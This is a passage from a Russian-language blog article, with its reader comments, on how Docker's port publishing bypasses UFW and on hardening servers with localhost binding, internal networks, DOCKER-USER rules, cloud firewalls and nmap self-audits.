Всё так. Если вы хоститесь в условном Hetzner Cloud, DigitalOcean, AWS (Security Groups), Selectel или Timeweb, у вас есть отличный рубильник уровнем выше. Облачный фаервол работает на стороне гипервизора хостера и дропает лишние пакеты ещё на подлёте к виртуальной сетевой карте вашего сервера. До таблиц PREROUTING и DOCKER внутри гостевой ОС этот трафик физически не долетает, что бы там демон Докера ни накрутил в iptables. В том моём случае с Qdrant на хетцнеровской виртуалке мне как раз хватило бы одной галочки в разделе Firewalls в веб‑консоли, чтобы прикрыть всё, кроме 22, 80 и 443 портов, ещё до старта контейнеров.
Но полагаться исключительно на внешний фаервол в панели хостера, оставляя внутри 0.0.0.0:5432 — плохая привычка по двум причинам:
Человеческий фактор и переезды. Сегодня проект крутится на облачной VPS за панельным фаерволом, а через полгода вы перевозите этот же
docker-compose.ymlна выделенный сервер (bare‑metal) или к лоукост‑хостеру, где кроме голого KVM и белой подсети нет вообще ничего. По привычке делаетеdocker compose up -d— и база мгновенно распахивается на весь интернет.Трафик внутри локальной сети ДЦ. Часто в правилах облачных фаерволов люди без задней мысли разрешают весь трафик для приватной сети проекта (VPC) или забывают навесить профиль фаервола на только что созданную ноду.
Поэтому самый здоровый подход тут — эшелонированная оборона: внешний Cloud Firewall в панели хостера используем как грубый периметр (отсечь всё лишнее снаружи и не грузить ядро виртуалки обработкой мусорных пакетов от сканеров), а внутри самой ОС всё равно честно биндим локальные порты на 127.0.0.1 и прячем базы в internal‑сети.
Быстрая ревизия своего сервера
Чтобы не гадать, светит ли у вас прямо сейчас какой‑нибудь забытый Redis или Postgres в обход UFW, прогоните на сервере четыре простые проверки.
Для начала гляньте, на каких именно адресах висит docker-proxy:
ss -tlpn | grep docker-proxy
Если видите в выводе 0.0.0.0: или [::]: напротив портов БД, очередей или внутренних сервисов — это повод сразу идти в docker-compose.yml и переписывать биндинг на 127.0.0.1:.
Дальше проверьте реальные правила проброса в самом ядре (потому что если в конфиге демона выключен userland-proxy, процессов docker-proxy в списке выше вообще не будет, а проброс через Netfilter продолжит работать):
iptables -t nat -L DOCKER -n -v ip6tables -t nat -L DOCKER -n -v # или для нативного бэкенда nftables в Docker 29+: nft list table ip docker-bridges nft list table ip6 docker-bridges
Третьим шагом посмотрите, прикрыта ли чем‑то транзитная цепочка (для классического бэкенда):
iptables -t filter -L DOCKER-USER -n -v ip6tables -t filter -L DOCKER-USER -n -v
Если там пусто и болтается один дефолтный RETURN на 0.0.0.0/0 — значит, всё, что вы увидели в DNAT на предыдущем шаге, доступно всему интернету.
Ну и самый надёжный финальный чек — просто просканируйте свой сервер с любой внешней машины (не забывая про флаг -6 для проверки IPv6):
nmap -Pn -T4 --open -p 1-65535 <IP_вашего_сервера> nmap -6 -Pn -T4 --open -p 1-65535 <IPv6_вашего_сервера>
Если в отчёте nmap вдруг нарисовались 3306, 5432, 6379, 27 017 или 9200 — самое время закрывать порты и проверять контейнеры на предмет незваных гостей.
Итого
Если коротко резюмировать, что стоит держать в голове при работе с Docker на живых серверах:
Порт базы или кэша нужен только локально на хосте (или для подключения через SSH‑туннель) — всегда явно биндим его на
127.0.0.1:5432:5432.Контейнеры общаются исключительно между собой внутри одного компоуз‑стека — вообще убираем секцию
portsи прячем базу в отдельную сеть с флагомinternal: true. Заодно отрежете контейнеру с БД выход в интернет, что спасает от половины векторов пост‑эксплуатации.Порт действительно нужно выставить наружу для конкретных внешних серверов — фильтруем трафик через цепочку
DOCKER-USER(или ставимufw-docker) и обязательно дублируем правила вip6tables, если на виртуалке поднят IPv6.Хочется раз и навсегда избавиться от конфликтов Докера с системным фаерволом — переезжаем на rootless Docker, он возвращает все проброшенные порты в стандартную цепочку
INPUTпод полный контроль UFW.Если хостер даёт бесплатный внешний фаервол в панели управления (Cloud Firewall / Security Groups) — обязательно включаем его как первый рубеж обороны. Он отстрелит пакеты ботов ещё на уровне гипервизора, задолго до того, как они коснутся сетевого стека вашей виртуалки и правил Докера.
Отдельно мне сейчас очень интересна тема с нативным nftables в 29-м Докере. Выпиливание DOCKER-USER ломает кучу привычных паттернов и старых ансибл‑плейбуков. Если кто‑то уже перетащил продакшен на firewall-backend=nftables — поделитесь в комментах, как организовали фильтрацию и какие грабли собрали по дороге, очень любопытно глянуть на живые конфиги. Ну и рассказывайте свои истории про ботов в забытых портах: у кого какой рекорд скорости прилёта майнера после docker compose up? Мои 1:52 пока держатся.
Комментарии (67)

Meloman19
02.11.2026 14:42Некоторые разрабы ещё любят иногда засунуть в compose проброс unix-сокета докера для каких-то своих нужд.
В общем, нужен за докером глаз да глаз. Я сразу бросил затею запускать compose файлы как есть и сначала перечитываю, убирая все такие приколы.
Да и вообще, сразу на podman зашёл чисто из-за rootless их коробки, не хотел, честно говоря, донастраивать докер для этого.

softcoder2020 Автор
02.11.2026 14:42проброс docker.sock внутрь контейнера который торчит в веб (всякие traefik, portainer или агенты мониторинга) - это вообще отдельная песня, по сути готовый рут на хост если сам контейнер продырявят. хотя бы через docker-socket-proxy его резать надо на чтение, но всем лень как обычно.
подман хорош, да. если бы на него старые компоуз-файлы со всякими кривыми сетями всегда переезжали без напильника, давно б уже все там сидели.

Granulex
02.11.2026 14:42ufw status – самая успокаивающая команда в Linux: половина правды и полная уверенность. Реальную картину даёт один nmap со стороннего хоста: порт, который фаервол якобы режет, отвечает снаружи за секунды. Бот нашёл Redis за 112 секунд – Masscan кофе не пьёт.

ChilliWil
02.11.2026 14:42Я так однажды тестовую виртуалку с эластиком потерял. Уверенно смотрел в ufw status, пока мне провайдер порт не заблокировал за спам..

Kenya-West
02.11.2026 14:42Заюзал ufw-docker и ufw-docker-automated.
Теперь мне не нужно через Ansible собирать порты по .env'шкам проектов и императивно включать их в UFW - теперь он сам слушает лейблы в манифестах Docker Cumpost, и если кто-то просит наружный порт (скорее всего, это будет лишь один Caddy), то ufw-docker-automated его и выставит наружу. Сам, без мам, пап и Ансиблов, автомагически.
(всё, что угодно, лишь бы не учить Кубер, где всё это искаропки идёт)

ufw-docker-automated в systemd Было-стало
┏[ 10/10/2026 @ 7:12:29 AM UTC][ kenyawest :: rifty-de-10][ RAM: 1/1GB][ 0.011s] ┣[ ~] └─> sudo ufw status Status: active To Action From -- ------ ---- 9100/tcp ALLOW 172.16.0.0/12 9323/tcp ALLOW 172.16.0.0/12 22/tcp ALLOW Anywhere 80/tcp ALLOW Anywhere 443/tcp ALLOW Anywhere 443/udp ALLOW Anywhere 22/udp ALLOW Anywhere 8388/tcp ALLOW Anywhere 1080/tcp ALLOW Anywhere 2220/tcp ALLOW Anywhere 48540/tcp ALLOW Anywhere 48510/tcp ALLOW Anywhere 7000/tcp ALLOW Anywhere 8080/tcp ALLOW Anywhere 8443/tcp ALLOW Anywhere 7400/tcp ALLOW Anywhere 8388/udp ALLOW Anywhere 1080/udp ALLOW Anywhere 2220/udp ALLOW Anywhere 48540/udp ALLOW Anywhere 48510/udp ALLOW Anywhere 7000/udp ALLOW Anywhere 8080/udp ALLOW Anywhere 8443/udp ALLOW Anywhere 7400/udp ALLOW Anywhere 22001:22089/tcp ALLOW Anywhere 22501:22589/tcp ALLOW Anywhere 22001:22089/udp ALLOW Anywhere 22501:22589/udp ALLOW Anywhere 9100/tcp ALLOW Anywhere 50111/tcp ALLOW Anywhere 9100/udp ALLOW Anywhere 50111/udp ALLOW Anywhere 22/tcp (v6) ALLOW Anywhere (v6) 80/tcp (v6) ALLOW Anywhere (v6) 443/tcp (v6) ALLOW Anywhere (v6) 443/udp (v6) ALLOW Anywhere (v6) 22/udp (v6) ALLOW Anywhere (v6) 8388/tcp (v6) ALLOW Anywhere (v6) 1080/tcp (v6) ALLOW Anywhere (v6) 2220/tcp (v6) ALLOW Anywhere (v6) 48540/tcp (v6) ALLOW Anywhere (v6) 48510/tcp (v6) ALLOW Anywhere (v6) 7000/tcp (v6) ALLOW Anywhere (v6) 8080/tcp (v6) ALLOW Anywhere (v6) 8443/tcp (v6) ALLOW Anywhere (v6) 7400/tcp (v6) ALLOW Anywhere (v6) 8388/udp (v6) ALLOW Anywhere (v6) 1080/udp (v6) ALLOW Anywhere (v6) 2220/udp (v6) ALLOW Anywhere (v6) 48540/udp (v6) ALLOW Anywhere (v6) 48510/udp (v6) ALLOW Anywhere (v6) 7000/udp (v6) ALLOW Anywhere (v6) 8080/udp (v6) ALLOW Anywhere (v6) 8443/udp (v6) ALLOW Anywhere (v6) 7400/udp (v6) ALLOW Anywhere (v6) 22001:22089/tcp (v6) ALLOW Anywhere (v6) 22501:22589/tcp (v6) ALLOW Anywhere (v6) 22001:22089/udp (v6) ALLOW Anywhere (v6) 22501:22589/udp (v6) ALLOW Anywhere (v6) 9100/tcp (v6) ALLOW Anywhere (v6) 50111/tcp (v6) ALLOW Anywhere (v6) 9100/udp (v6) ALLOW Anywhere (v6) 50111/udp (v6) ALLOW Anywhere (v6)┏[ 10/10/2026 @ 7:12:32 AM UTC][ kenyawest :: rifty-de-10][ RAM: 1/1GB][ 0.073s] ┣[ ~] └─> sudo ufw status Status: active To Action From -- ------ ---- 22/tcp ALLOW Anywhere 22/udp ALLOW Anywhere 22/tcp (v6) ALLOW Anywhere (v6) 22/udp (v6) ALLOW Anywhere (v6) 172.19.0.3 48510/tcp ALLOW FWD Anywhere # caddy:305eda3bfb70 172.19.0.3 80/tcp ALLOW FWD Anywhere # caddy:305eda3bfb70 172.19.0.2 2220/tcp ALLOW FWD 144.31.1.10 # remna:f927201a4000 Panel 172.19.0.2 443/tcp ALLOW FWD Anywhere # remna:f927201a4000 Public

ColdPhoenix
02.11.2026 14:42Причем в 99% случаех таких портов что потом пытаются закрыть, это то что им не нужно быть открытыми на весь интернет, можно же его вытащить только на localhost...

mayorovp
02.11.2026 14:42Можно и нужно вообще оставить БД во внутренней сети докера, не вытаскивая её даже на локалхост.

ColdPhoenix
02.11.2026 14:42Если есть возможность не вытаскивать порт, это конечно лучше.
Я именно про вариант когда порт нужен на локал хосте и постоянно. Разово можно и по адресу контейнера зайти.

mayorovp
02.11.2026 14:42Прочитал статью целиком, но так и не увидел главного совета: не использовать проброс портов там, где их не нужно пробрасывать. Просто используйте expose вместо port!

ChilliWil
02.11.2026 14:42В свежих релизах docker compose даже expose не обязателен. Контейнеры в одной сети и так видят друг друга по всем портам. Это работает автоматически из коробки

softcoder2020 Автор
02.11.2026 14:42Да было ж в первом варианте решения, как раз кусок компоуза с комментом “никаких ports наружу” и отдельной internal-сеткой. просто когда лонгрид на 25 минут, глаз уже замыливается к середине, понимаю)
а вот сам expose в современном компоузе по факту превратился в декорацию чисто для документации. сеть он никак не открывает и не закрывает, контейнеры в одном бридже и без него видят вообще все порты друг друга. главное именно ports руками не трогать без нужды.

favik
02.11.2026 14:42мда... заканчивался 2026 год, "псевдоадмины" продолжают использовать непонятные технологии, а работу с man так и не освоили, так же как и банальный скан nmap после изменений на сервере... да пусть их всех уже похакают и исчезнут статьи вида "если вы сходили в туалет - используйте бумагу"

Okeu
02.11.2026 14:42"если вы сходили в туалет - используйте бумагу"
Тут можно было бы сказать, что бумагой пользуются только "труъ одмены" которые ходят с грязной жопой потом весь день, вместо того, чтоб подмыться, но и даже если речь все-таки о туалете и бумаге - вы пробовали подтираться A3 ватманом? А вы каждый раз это делаете когда ходите в туалет, или все-таки когда ходите по-большому?
Ох уж эти хардкорные админы, man'ом пользоваться научились, а аналогии приводить - нет.

scooby_doe
02.11.2026 14:42При работе с любым софтом, который влияет или может влиять на сеть, обязательно нужно изучать аффект на порты, всегда проверять что смотрит наружу.
Однажды на сервере (году в 21) выросло потребление RAM и CPU, после изучения выяснил, что процесс - kinsing (майнер).
Ну, а уже потом открыл для себя особенность работы Docker, с открытыми портами наружу.
Поэтому, постоянный скан хостов периметра через nmap / telnet обязателен.

ChilliWil
02.11.2026 14:42Вообще бинд на 127.0.0.1:5432:5432 тоже не идеален, если рядом на хосте сидят другие пользователи. Базу нужно прятать строго во внутреннюю сеть docker network и не вытаскивать порты вообще

raver
02.11.2026 14:42Есть еще один вариант запустить контейнер с --network host

softcoder2020 Автор
02.11.2026 14:42кстати да, забавный парадокс докера - network_mode: host принято ругать за отсутствие изоляции, но конкретно с фаерволом он наоборот чинит картину. раз своего неймспейса и бриджа нет, DNAT не нужен, трафик прилетает прямо в локальный сокет и как миленький идет через стандартный INPUT прямиком на правила UFW.
главное чтоб там два контейнера за один порт не подрались на хосте, а для одиночного тяжелого сервиса вообще рабочий варик.

musk
02.11.2026 14:42Да, у нас есть один сервер в hetzner, на котором как раз пара тяжелых вещей работают, сервис для ocr документов с своими фишками. В амазоне держать такой инстанс сильно дорого. В свое время попалась похожая по теме статья касательно приколов докера, но более заковыристая. В итоге плюнул, включил просто host, и закрыл все через ufw, кроме доверенного ip.

select26
02.11.2026 14:42Отличная Статья!
И вывод стар (не изменился за последние лет 20): не использовать (явно отключать) IPv6, если он не необходим и использовать iptables вместо модных оберток "облегчающих жизнь".
И, главное, читать документацию вместо всяких постов "за 5 минут развернем прод".
Спасибо, Автор!

softcoder2020 Автор
02.11.2026 14:42тут главное отключать его реально на уровне ядра через sysctl (disable_ipv6=1) или в параметрах загрузчика, а не полумерами в конфигах демонов. иначе получается та самая засада, когда админ думает что v6 выключен, а сокет в ядре бодро слушает :: в обход правил.

RTFM13
02.11.2026 14:42iptables -t raw -A PREROUTING -i eth0 -p tcp -m multiport --dports 22,80,443 -j ACCEPT iptables -t raw -A PREROUTING -i eth0 -j DROPперед употреблением проконсультироваться с врачом.
туда докер еще не добрался.

urvanov
02.11.2026 14:42И, главное, читать документацию вместо всяких постов "за 5 минут развернем прод".
К сожалению, с учётом сложности и количества решаемых большинством разработчиков задач, а также количества утилит, спецификаций, абстракций и прослоек, прочитать документацию на весь этот зоопарк становится практически невозможно.

JBFW
02.11.2026 14:42Это все от избыточной сложности.
Вот взять iptables, все эти цепочки, такую и такую - зачем, спрашивается, понаворотили?
К примеру, во freebsd вместо этого был ipfw, в котором все правила в одном месте, нет такого зоопарка путей. Там если запретил одной строкой - то уже всё, запретил, без "если".
И ufw удивительно его напоминает - видимо, была у людей потребность облегчить себе жизнь, но в линуксе это только оболочка. Как результат - вот они, проблемы под капотом.
Теперь вот вместо iptables где-то внедряют nft, и в докере вдобавок будет что-то своё отдельно нативное, то есть зоопарк продолжает разрастаться и усложняться. А значит, мест, где можно накосячить, станет ещё больше.
Куда-то не туда развитие идёт...

mayorovp
02.11.2026 14:42Вы так пишете, будто это iptables и правда виноват. Но проблема-то на самом деле из разряда "получили именно то, что заказывали": контейнер - это легковесная виртуалка со своим ip адресом, очевидно что файервол хоста её по умолчанию не закрывает.

RTFM13
02.11.2026 14:42Ну не, докер же втыкает свои правила в начало FORWARD ни у кого не спросив. тупо чтобы меньше было "а у меня не работает".
Увы, так делает не только докер. Этой проблеме много лет, она старше iptables.
И ufw это поделка точно не для прода и сложных систем. Но т.к. докер и виртуалки теперь легко встречается даже на ноуте у разраба, то вообще ни для чего.

JBFW
02.11.2026 14:42Как раз в логике "я запускаю ХХХ на рабочей машине" всё что запущено на рабочей машине находится в рамках рабочей машины, то есть внутри периметра.
Либо должно запускаться "под гипервизором" рядом с рабочей машиной - тогда да, логично, чтобы оно вообще никак не зависело.
А докер тут между тем и тем, он как бы внутри, но вылезает наружу.

RTFM13
02.11.2026 14:42Тут суть не в том что он на FORWARD трафике. Он точно так же напихает своих правил и в INPUT. Тут нет разницы.
Проблема в несогласованности ufw/docker. И тут простого и надёжного решения не просматривается.
Хотя автор зря отбрасывает запрет докеру лазить в iptables. То что интернет надо включать ручками скорее плюс, чем минус. Например, большинство троянов на этом сломаются, телеметрия левая поотлетает и т.п.

RTFM13
02.11.2026 14:42просто получается только если ничего не делать. фря по этому и не используется почти нигде.
сетевая часть в контейнерах и песочницах к сожалению делается по остаточному принципу. если докер еще куда ни шло, то в lxc родную сеть приходится полностью сносить и делать свою.
и iptables гораздо логичнее чем ipfw/ufw, но надо один раз вникнуть, да.

mc2
02.11.2026 14:42Простите, а чем ipfw не угодил?
iptables хорош тем что имеет разные цепочки для разных задач: nat/фильтрация трафика/маршрутизация.
c ipfw вы сразу видите что просходит с пакетом и четкий порядок правил не оставляют сомнений, что правило 10 будет приоритетнее чем правило 20.
RTFM13
02.11.2026 14:42вопрос из разряда "зачем вам С? пишите всё на бейсике там всё просто и понятно".
а правило применяется до нат или после? до маршрутизации или после?

mc2
02.11.2026 14:42Я уже лет 20 не крутил ipfw, но быстрый взгляд на man ipfw говорит что: правило применяется по нумерации. Вы можете поставить nat до фильтра или после, равно как и маршрутизацию.
С вопрос "зачем вас С?" тут не очень, на мой взгляд, потому что оно совершенно "другое", не смотря на то, что это одинаковый тип задач.

Andrey_kz
02.11.2026 14:42Спасибо умный человек за шикарную статью!
Ушел проверять что понаделал пока этого не знал...

pavel-gnedov
02.11.2026 14:42Большое спасибо за статью. Однозначно в закладки и буду обращаться к материалу не один раз. Файерволы - не такая уж простая задача, когда нужно совмещать фиксированные правила с динамичными правилами контейнеров, когда нужен регулярный менеджмент правил с их актуализацией
Себе ещё такой вариант делал. Может кому-то пригодится:
Как в статье указывалось контейнерам можно сделать привязку ports на 127.0.0.1
Если нужен внешний ограниченный доступ на http/https от белых ip, то правила похожие на ограничения от файервола можно перенести на nginx
Для сервисов мониторинга (Grafana + InfluxDB) делал такую конфигу для nginx-а. Вот такой пример:
server { listen 8700; allow 192.168.253.0/24; deny all; location / { proxy_pass "http://127.0.0.1:8702"; } }В реальности конфига nginx побольше, но смысл тут показан
allow 192.168.253.0/24 - это моя подсетка wireguard-а
Для всех остальных nginx по правилу deny all вернёт Forbidden
127.0.0.1:8702 - это обратное проксирование в docker контейнер

select26
02.11.2026 14:42Для всех остальных nginx по правилу deny all вернёт Forbidden
Это до первой zero-day vulnerability. Именно поэтому ограничение на сервисе не заменяет FW.

Daniel_Ilyich
02.11.2026 14:42Мне кажется тут еще проблема в том, что обычно один раз настроил фаервол и потом годами уверен что все закрыто. А кто-нибудь через полгода добавит ports в compose и даже не подумает что это может что-то открыть наружу. По хорошему после каждого деплоя надо бы автоматически проверять доступные порты с внешней машины, а не только при первоначальной настройке сервера

softcoder2020 Автор
02.11.2026 14:42стопроцентов, на этом обычно и горят. один раз настроили, забыли, потом джун для дебага вмержил ports и привет.
мы у себя от такой амнезии прикрутили тупейший костыль - раз в сутки по крону с соседней дешевой впс-ки гоняется мелкий скрипт с nmap по нашему списку белых IP и сверяет дифф с эталоном. если вылез новый порт - сразу летит матюк в телегу. пишется за полчаса на коленке, а спится сильно спокойнее.

JonahK
02.11.2026 14:42По сути большинство этих проблем решается если просто не пробрасывать лишние порты из контейнеров. Но согласен с тем что ufw status создает ложное ощущение безопасности, особенно когда только начинаешь работать с Docker. Вроде все закрыл, проверил, а потом выясняется что докер живет по своим правилам. И ведь не каждый после изменений в compose пойдет еще и nmap снаружи запускать

StasTukalo
02.11.2026 14:42Годный мануал. Плюсанул.
ПС в который раз убеждаюсь, что настраивать iptables нужно напрямую, а не через вспомогачки, ущербность которых может вылезти вот таким боком..

yvikt
02.11.2026 14:42Еще один способ получить доступ к базе. По идее если сильно нада смапить порт ремоут базы к себе на ноут, можно зайти в контейнер базы и от туда прокинуть порт по ssh к себе на машину. Но для этого нужно иметь IP для своей машины.

ColdPhoenix
02.11.2026 14:42SSH можно прокинуть внутрь контейнера
ssh -L <local_port>:<container_address>:<service_port>

Schalaeff
02.11.2026 14:42
большое спасибо автору статьи за команду nmap))) ****ый
ufw deny "$PORT/tcp"что ж ты не предупредил >.<
softcoder2020 Автор
02.11.2026 14:42о, значит уже не зря эту простыню катал)) с почином! лучше самому случайно найти через nmap, чем узнать об этом из логов майнера.
ufw deny против докерных портов вообще классика боли - сидишь такой, пишешь правила, рестартишь фаервол, а докеру в PREROUTING на твои телодвижения абсолютно фиолетово. может стоит глянуть теперь логи контейнера на всякий , мало ли кто уже успел в гости заглянуть ))

RTFM13
02.11.2026 14:42соревноваться в скорости скана с майнерами не очень надёжная стратегия.
лучше иметь пару механизмов и мониторить их, вероятность одновременной поломки гораздо ниже.

JoshMil
02.11.2026 14:42Все очень просто. Никто не смотрит реальный пакет флоw пакетного фильтра, а разработчики часто публикуют упрощенные схемы.До потери смысла упрошенные. В итоге человек привык к примитивной абстракции реальности. При этом конфликт с реальностью в таком раскладе только дело времени. Загуглите все версии пакет флоу микротик, например. Там разница просто космическая

RTFM13
02.11.2026 14:42заведомо нежелетальный внешний трафик можно и даже нужно дропать сразу в raw на хосте.

ElvenSailor
02.11.2026 14:42Эх, эту бы статейку, да года 2 назад, когда я активно админил докер :)
но всё равно агромадное спасибо.

molareg497
02.11.2026 14:42Вообще, я не встречал серьезные приложения, которые работают на докере, теперь начинаю понимать почему, впрочем как и с react, 1000 и 1 способ прострелить себе колено на ровном месте.

denisgrigoriev04
02.11.2026 14:42Вначале нужно подумать нужен ли вообще докер для этого сервиса?
Нет докера - нет проблем. Тем более, что сейчас в моде статическая линковка

Magratena
02.11.2026 14:42Много лет пользуюсь https://github.com/chaifeng/ufw-docker Тоже как то случайно узнал что оказывается ufw не все блокирует. Если что не сисадмин а бекенд разработчик и много играюсь с разными технологиями)

YuriyPashkov
02.11.2026 14:42Большое спасибо за статью. Тоже нашел у себя проброшенные докером порты, которые ufw status и не показывал нифига. Благо нигде не используется дефолтных паролей и вроде ничего страшного на сервере не завелось, но на всякий случай порядок навёл и всё спрятал

LazyZeroed
02.11.2026 14:42Хочется подискутировать по поводу высказанного соображения "Руками прописывать и поддерживать правила NAT для всех динамических бриджей компоуза - для любителей боли" если указать "iptables": false в /etc/docker/daemon.json.
На мой взгляд строчка
/etc/iptables/rules.v4:-A POSTROUTING -s 172.16.0.0/12 -m comment --comment docker-NAT -j MASQUERADEвполне решает этот вопрос. Или я ошибаюсь? А автору огромный респект за статью.
hardtop
М-да, подстава. Столько тонкостей